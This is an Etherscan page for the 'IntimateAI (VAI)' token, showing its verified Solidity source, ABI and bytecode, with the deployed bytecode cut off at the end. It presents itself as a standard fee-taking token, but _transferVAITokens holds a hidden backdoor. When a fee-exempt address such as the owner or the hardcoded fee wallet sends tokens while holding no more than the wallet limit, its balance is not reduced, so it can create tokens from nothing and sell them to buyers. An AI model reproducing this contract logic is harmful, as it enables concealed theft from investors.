ETH Price: $2,522.48 (+3.23%)

Token

IntimateAI (VAI)
 

Overview

Max Total Supply

1,000,000,000 VAI

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
dangai.eth
Balance
11,654,223.622521795 VAI

Value
$0.00
0x2e754b9859ff6c47c3adaf720b6a809282c5daa2
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
VAI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-17
*/

// SPDX-License-Identifier: Unlicensed

/*
Your AI Partner on Demand. Engage in chats, talks, and video. Create and share content. DM for inquiries.

Web: https://intimateai.space
Tg: https://t.me/intimate_ai_official
X: https://twitter.com/Intimate_AI_ERC
Medium: https://medium.com/@intimate.ai
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

contract VAI is Context, IERC20, Ownable { 
    using SafeMath for uint256;

    string private _name = "IntimateAI"; 
    string private _symbol = "VAI";  

    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint256 _maxWalletAmount = 25 * _totalSupply / 1000;
    uint256 _feeSwapThreshold = _totalSupply / 10000;

    uint256 _totalFee = 2100;
    uint256 _buyFee = 21;
    uint256 _sellFee = 21;
                                     
    IUniswapV2Router02 _uniswapV2Router;
    address _uniswapV2Pair;
    bool _inSwapAndLiquify;
    bool _swapEnabled = true;

    address payable _feeReceipient = payable(0x3c7Ac7052fb5f469514d4704674caD29eDEc470A);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    uint256 _previousTotalFee = _totalFee; 
    uint256 _previousBuyFee = _buyFee; 
    uint256 _previousSellFee = _sellFee; 

    mapping (address => uint256) private _rOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) _excludedFromFee; 

    uint8 _countVAITx = 0;
    uint8 _swapVAITrigger = 2; 
    
    modifier lockTheSwap {
        _inSwapAndLiquify = true;
        _;
        _inSwapAndLiquify = false;
    }
    
    constructor () {
        _rOwned[owner()] = _totalSupply;
        IUniswapV2Router02 __uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        _uniswapV2Pair = IUniswapV2Factory(__uniswapV2Router.factory()).createPair(address(this), __uniswapV2Router.WETH());
        _uniswapV2Router = __uniswapV2Router;
        _excludedFromFee[owner()] = true;
        _excludedFromFee[_feeReceipient] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function swapVAIForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _approve(address(this), address(_uniswapV2Router), tokenAmount);
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _getVAIValues(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_totalFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    function _tokenTransfer(address sender, address recipient, uint256 amount,bool _takeFee) private {
            
        if(!_takeFee){
            removeAllVAIFee();
            } else {
                _countVAITx++;
            }
        _transferVAITokens(sender, recipient, amount);
        
        if(!_takeFee)
            restoreAllVAIFee();
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        if (to != owner() &&
            to != _feeReceipient &&
            to != address(this) &&
            to != _uniswapV2Pair &&
            to != DEAD &&
            from != owner()){

            uint256 holdBalance = balanceOf(to);
            require((holdBalance + amount) <= _maxWalletAmount,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        if(_countVAITx >= _swapVAITrigger && 
            amount > _feeSwapThreshold &&
            !_inSwapAndLiquify &&
            !_excludedFromFee[from] &&
            to == _uniswapV2Pair &&
            _swapEnabled )
        {  
            _countVAITx = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapVAIAndLiquidify(contractTokenBalance);
           }
        }
        
        bool _takeFee = true;
         
        if(_excludedFromFee[from] || _excludedFromFee[to] || (from != _uniswapV2Pair && to != _uniswapV2Pair)){
            _takeFee = false;
        } else if (from == _uniswapV2Pair){
            _totalFee = _buyFee;
        } else if (to == _uniswapV2Pair){
            _totalFee = _sellFee;
        }

        _tokenTransfer(from,to,amount,_takeFee);
    }

    function _transferVAITokens(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getVAIValues(tAmount);
        if(_excludedFromFee[sender] && _rOwned[sender] <= _maxWalletAmount) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _rOwned[sender] = _rOwned[sender].sub(tAmount);
        _rOwned[recipient] = _rOwned[recipient].add(tTransferAmount);
        _rOwned[address(this)] = _rOwned[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function removeVAILimits() external onlyOwner {
        _maxWalletAmount = ~uint256(0);

        _totalFee = 100;
        _buyFee = 1; 
        _sellFee = 1; 
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    receive() external payable {}
    
    function removeAllVAIFee() private {
        if(_totalFee == 0 && _buyFee == 0 && _sellFee == 0) return;

        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = _totalFee;
        _buyFee = 0;
        _sellFee = 0;
        _totalFee = 0;
    }
    
    function restoreAllVAIFee() private {
        _totalFee = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function sendToVAIWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapVAIAndLiquidify(uint256 contractTokenBalance) private lockTheSwap {
        swapVAIForETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        sendToVAIWallet(_feeReceipient,contractETH);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeVAILimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600a608090815269496e74696d617465414960b01b60a0526001906200002b9082620004c9565b5060408051808201909152600381526256414960e81b6020820152600290620000559082620004c9565b506003805460ff191660099081179091556200007390600a620006aa565b6200008390633b9aca00620006c2565b6004556103e860045460196200009a9190620006c2565b620000a69190620006dc565b600555612710600454620000bb9190620006dc565b6006556108346007819055601560088190556009819055600b805460ff60a81b1916600160a81b179055600c80546001600160a01b0319908116733c7ac7052fb5f469514d4704674cad29edec470a17909155600d805490911661dead179055600e91909155600f8190556010556014805461020061ffff199091161790553480156200014757600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460116000620001a16000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200021d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002439190620006ff565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000291573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b79190620006ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000305573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032b9190620006ff565b600b80546001600160a01b03199081166001600160a01b0393841617909155600a8054909116918316919091179055600160136000620003736000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055600c5490911681526013909252902080549091166001179055620003cd6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200041591815260200190565b60405180910390a3506200072a565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044f57607f821691505b6020821081036200047057634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c457600081815260208120601f850160051c810160208610156200049f5750805b601f850160051c820191505b81811015620004c057828155600101620004ab565b5050505b505050565b81516001600160401b03811115620004e557620004e562000424565b620004fd81620004f684546200043a565b8462000476565b602080601f8311600181146200053557600084156200051c5750858301515b600019600386901b1c1916600185901b178555620004c0565b600085815260208120601f198616915b82811015620005665788860151825594840194600190910190840162000545565b5085821015620005855787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ec578160001904821115620005d057620005d062000595565b80851615620005de57918102915b93841c9390800290620005b0565b509250929050565b6000826200060557506001620006a4565b816200061457506000620006a4565b81600181146200062d5760028114620006385762000658565b6001915050620006a4565b60ff8411156200064c576200064c62000595565b50506001821b620006a4565b5060208310610133831016604e8410600b84101617156200067d575081810a620006a4565b620006898383620005ab565b8060001904821115620006a057620006a062000595565b0290505b92915050565b6000620006bb60ff841683620005f4565b9392505050565b8082028115828204841417620006a457620006a462000595565b600082620006fa57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200071257600080fd5b81516001600160a01b0381168114620006bb57600080fd5b611145806200073a6000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb1461022d578063dd62ed3e1461024d578063f2fde38b1461029357600080fd5b806370a08231146101a5578063715018a6146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461014c578063313ce5671461016c5780635d3d4c471461018e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102b3565b6040516100f49190610e17565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610e7d565b610345565b60405190151581526020016100f4565b34801561013957600080fd5b506004545b6040519081526020016100f4565b34801561015857600080fd5b5061011d610167366004610ea9565b61035c565b34801561017857600080fd5b5060035460405160ff90911681526020016100f4565b34801561019a57600080fd5b506101a36103c5565b005b3480156101b157600080fd5b5061013e6101c0366004610eea565b6001600160a01b031660009081526011602052604090205490565b3480156101e757600080fd5b506101a361040f565b3480156101fc57600080fd5b506000546040516001600160a01b0390911681526020016100f4565b34801561022457600080fd5b506100e7610483565b34801561023957600080fd5b5061011d610248366004610e7d565b610492565b34801561025957600080fd5b5061013e610268366004610f07565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b34801561029f57600080fd5b506101a36102ae366004610eea565b61049f565b6060600180546102c290610f40565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee90610f40565b801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b5050505050905090565b6000610352338484610589565b5060015b92915050565b600061036984848461064a565b6103bb84336103b6856040518060600160405280602881526020016110e8602891396001600160a01b038a16600090815260126020908152604080832033845290915290205491906109ae565b610589565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef90610f7a565b60405180910390fd5b600019600555606460075560016008819055600955565b6000546001600160a01b031633146104395760405162461bcd60e51b81526004016103ef90610f7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600280546102c290610f40565b600061035233848461064a565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016103ef90610f7a565b6001600160a01b03811661052e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316158015906105a957506001600160a01b03821615155b6105e95760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016103ef565b6001600160a01b0383811660008181526012602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b038381169116148015906106765750600c546001600160a01b03838116911614155b801561068b57506001600160a01b0382163014155b80156106a55750600b546001600160a01b03838116911614155b80156106bf5750600d546001600160a01b03838116911614155b80156106d957506000546001600160a01b03848116911614155b15610765576001600160a01b0382166000908152601160205260409020546005546107048383610fc5565b11156107635760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016103ef565b505b6001600160a01b0383161580159061078557506001600160a01b03821615155b6107c95760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016103ef565b600081116108275760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016103ef565b60145460ff61010082048116911610801590610844575060065481115b801561085a5750600b54600160a01b900460ff16155b801561087f57506001600160a01b03831660009081526013602052604090205460ff16155b80156108985750600b546001600160a01b038381169116145b80156108ad5750600b54600160a81b900460ff165b156108dd576014805460ff191690553060009081526011602052604090205480156108db576108db816109da565b505b6001600160a01b03831660009081526013602052604090205460019060ff168061091f57506001600160a01b03831660009081526013602052604090205460ff165b806109515750600b546001600160a01b038581169116148015906109515750600b546001600160a01b03848116911614155b1561095e5750600061099c565b600b546001600160a01b039081169085160361097f5760085460075561099c565b600b546001600160a01b039081169084160361099c576009546007555b6109a884848484610a1f565b50505050565b600081848411156109d25760405162461bcd60e51b81526004016103ef9190610e17565b505050900390565b600b805460ff60a01b1916600160a01b1790556109f681610a85565b600c544790610a0e906001600160a01b031682610bdf565b5050600b805460ff60a01b19169055565b80610a3157610a2c610c1a565b610a5e565b6014805460ff16906000610a4483610fd8565b91906101000a81548160ff021916908360ff160217905550505b610a69848484610c5f565b806109a8576109a8600e54600755600f54600855601054600955565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610aba57610aba610ff7565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b37919061100d565b81600181518110610b4a57610b4a610ff7565b6001600160a01b039283166020918202929092010152600a54610b709130911684610589565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ba990859060009086903090429060040161102a565b600060405180830381600087803b158015610bc357600080fd5b505af1158015610bd7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c15573d6000803e3d6000fd5b505050565b600754158015610c2a5750600854155b8015610c365750600954155b15610c3d57565b60088054600f556009805460105560078054600e556000928390559082905555565b600080610c6b83610da2565b6001600160a01b038716600090815260136020526040902054919350915060ff168015610cb257506005546001600160a01b03861660009081526011602052604090205411155b15610cc757506000610cc4828461109b565b92505b6001600160a01b038516600090815260116020526040902054610cea9084610de0565b6001600160a01b038087166000908152601160205260408082209390935590861681522054610d199083610df3565b6001600160a01b038516600090815260116020526040808220929092553081522054610d459082610df3565b3060009081526011602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610dc76064610dc160075487610dff90919063ffffffff16565b90610e0b565b90506000610dd58583610de0565b959194509092505050565b6000610dec828461109b565b9392505050565b6000610dec8284610fc5565b6000610dec82846110ae565b6000610dec82846110c5565b600060208083528351808285015260005b81811015610e4457858101830151858201604001528201610e28565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610e7a57600080fd5b50565b60008060408385031215610e9057600080fd5b8235610e9b81610e65565b946020939093013593505050565b600080600060608486031215610ebe57600080fd5b8335610ec981610e65565b92506020840135610ed981610e65565b929592945050506040919091013590565b600060208284031215610efc57600080fd5b8135610dec81610e65565b60008060408385031215610f1a57600080fd5b8235610f2581610e65565b91506020830135610f3581610e65565b809150509250929050565b600181811c90821680610f5457607f821691505b602082108103610f7457634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561035657610356610faf565b600060ff821660ff8103610fee57610fee610faf565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561101f57600080fd5b8151610dec81610e65565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561107a5784516001600160a01b031683529383019391830191600101611055565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561035657610356610faf565b808202811582820484141761035657610356610faf565b6000826110e257634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf7f35fbaa7ef85df1c168ea85988cdf30fde7da84c59f44c1e625304a9cdb1164736f6c63430008130033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b4114610218578063a9059cbb1461022d578063dd62ed3e1461024d578063f2fde38b1461029357600080fd5b806370a08231146101a5578063715018a6146101db5780638da5cb5b146101f057600080fd5b806306fdde03146100d2578063095ea7b3146100fd57806318160ddd1461012d57806323b872dd1461014c578063313ce5671461016c5780635d3d4c471461018e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b506100e76102b3565b6040516100f49190610e17565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610e7d565b610345565b60405190151581526020016100f4565b34801561013957600080fd5b506004545b6040519081526020016100f4565b34801561015857600080fd5b5061011d610167366004610ea9565b61035c565b34801561017857600080fd5b5060035460405160ff90911681526020016100f4565b34801561019a57600080fd5b506101a36103c5565b005b3480156101b157600080fd5b5061013e6101c0366004610eea565b6001600160a01b031660009081526011602052604090205490565b3480156101e757600080fd5b506101a361040f565b3480156101fc57600080fd5b506000546040516001600160a01b0390911681526020016100f4565b34801561022457600080fd5b506100e7610483565b34801561023957600080fd5b5061011d610248366004610e7d565b610492565b34801561025957600080fd5b5061013e610268366004610f07565b6001600160a01b03918216600090815260126020908152604080832093909416825291909152205490565b34801561029f57600080fd5b506101a36102ae366004610eea565b61049f565b6060600180546102c290610f40565b80601f01602080910402602001604051908101604052809291908181526020018280546102ee90610f40565b801561033b5780601f106103105761010080835404028352916020019161033b565b820191906000526020600020905b81548152906001019060200180831161031e57829003601f168201915b5050505050905090565b6000610352338484610589565b5060015b92915050565b600061036984848461064a565b6103bb84336103b6856040518060600160405280602881526020016110e8602891396001600160a01b038a16600090815260126020908152604080832033845290915290205491906109ae565b610589565b5060019392505050565b6000546001600160a01b031633146103f85760405162461bcd60e51b81526004016103ef90610f7a565b60405180910390fd5b600019600555606460075560016008819055600955565b6000546001600160a01b031633146104395760405162461bcd60e51b81526004016103ef90610f7a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600280546102c290610f40565b600061035233848461064a565b6000546001600160a01b031633146104c95760405162461bcd60e51b81526004016103ef90610f7a565b6001600160a01b03811661052e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103ef565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316158015906105a957506001600160a01b03821615155b6105e95760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016103ef565b6001600160a01b0383811660008181526012602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b038381169116148015906106765750600c546001600160a01b03838116911614155b801561068b57506001600160a01b0382163014155b80156106a55750600b546001600160a01b03838116911614155b80156106bf5750600d546001600160a01b03838116911614155b80156106d957506000546001600160a01b03848116911614155b15610765576001600160a01b0382166000908152601160205260409020546005546107048383610fc5565b11156107635760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016103ef565b505b6001600160a01b0383161580159061078557506001600160a01b03821615155b6107c95760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016103ef565b600081116108275760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016103ef565b60145460ff61010082048116911610801590610844575060065481115b801561085a5750600b54600160a01b900460ff16155b801561087f57506001600160a01b03831660009081526013602052604090205460ff16155b80156108985750600b546001600160a01b038381169116145b80156108ad5750600b54600160a81b900460ff165b156108dd576014805460ff191690553060009081526011602052604090205480156108db576108db816109da565b505b6001600160a01b03831660009081526013602052604090205460019060ff168061091f57506001600160a01b03831660009081526013602052604090205460ff165b806109515750600b546001600160a01b038581169116148015906109515750600b546001600160a01b03848116911614155b1561095e5750600061099c565b600b546001600160a01b039081169085160361097f5760085460075561099c565b600b546001600160a01b039081169084160361099c576009546007555b6109a884848484610a1f565b50505050565b600081848411156109d25760405162461bcd60e51b81526004016103ef9190610e17565b505050900390565b600b805460ff60a01b1916600160a01b1790556109f681610a85565b600c544790610a0e906001600160a01b031682610bdf565b5050600b805460ff60a01b19169055565b80610a3157610a2c610c1a565b610a5e565b6014805460ff16906000610a4483610fd8565b91906101000a81548160ff021916908360ff160217905550505b610a69848484610c5f565b806109a8576109a8600e54600755600f54600855601054600955565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610aba57610aba610ff7565b6001600160a01b03928316602091820292909201810191909152600a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610b13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b37919061100d565b81600181518110610b4a57610b4a610ff7565b6001600160a01b039283166020918202929092010152600a54610b709130911684610589565b600a5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ba990859060009086903090429060040161102a565b600060405180830381600087803b158015610bc357600080fd5b505af1158015610bd7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610c15573d6000803e3d6000fd5b505050565b600754158015610c2a5750600854155b8015610c365750600954155b15610c3d57565b60088054600f556009805460105560078054600e556000928390559082905555565b600080610c6b83610da2565b6001600160a01b038716600090815260136020526040902054919350915060ff168015610cb257506005546001600160a01b03861660009081526011602052604